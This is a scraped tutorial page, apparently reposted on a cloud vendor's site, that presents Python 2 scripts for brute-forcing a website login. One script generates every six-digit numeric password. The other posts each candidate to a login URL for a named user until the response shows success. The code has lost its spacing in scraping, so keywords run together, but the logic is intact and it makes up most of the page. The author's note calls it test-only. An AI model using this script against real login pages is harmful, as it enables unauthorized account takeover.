Python brute force hack password script

Source: Internet
Author: User

Python brute force hack password script

The following, only for the individual test code, the environment is a test environment, the principle of brute force is the same,

Suppose to brute force the login website user testuser password,

First, the site's login verification to support unlimited password attempts

Suppose TestUser's password is a 6-bit pure number

1: First 6-bit digital cipher dictionary

ImportOspds=[]rg=range (0,10) forFirstinchRG: forSecondinchRG: forThreeinchRG: forFourinchRG: forFiveinchRG: forSixinchRg:num="%s%s%s%s%s%s"%(first,second,three,four,five,six) pds.append (num) file_object= Open ('/users/teso/desktop/pwdnum6.txt','W') File_object.writelines (['%s%s'% (X,OS.LINESEP) forXinchPDS]) File_object.close ()

The above script will generate 6-digit password dictionaries on the desktop PwdNum6.txt

2: Study the login verification mechanism of website, script brute force hack password

ImportUrllib,urllib2,htmlparser#a crawler that parses web pagesclassOaparser (htmlparser.htmlparser):def __init__(self): Htmlparser.htmlparser.__init__(self) self.pd=[]    defHandle_data (self, data):#print "Encountered some data:", Dataself.pd.append (data)#brute force hack scriptdefTrylogin (name,pwd): Parm={"LoginName": Name,"Password":p wd} URL="http://192.**.*.*/***/login/li"R=urllib2.urlopen (URL, Urllib.urlencode (parm)) Parse=Oaparser () parse.feed ( ()) parse.close () Isfind=Falseif "User Login" inchPARSE.PD:#Here is the password verification logic for the corresponding website        Print 'Try Password'Pwd'Login Failed'Isfind=FalseElse:        PrintUser'Landing Success','Password =', pwd isfind=Truedel(Parse)returnIsfind User='TestUser'#password=[' 1 ', ' a ', ' 123 ', ' 1234 ', ' 12345 ', ' 123456 ', ' 12345678 'Fpath='/users/teso/desktop/pwdnum6.txt'Pfile=open (Fpath,'R') forOnepwdinchpfile.readlines ():ifTrylogin (User, Onepwd[:6]):         Break;

The process is roughly the same, the self-study play

Python brute force hack password script

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.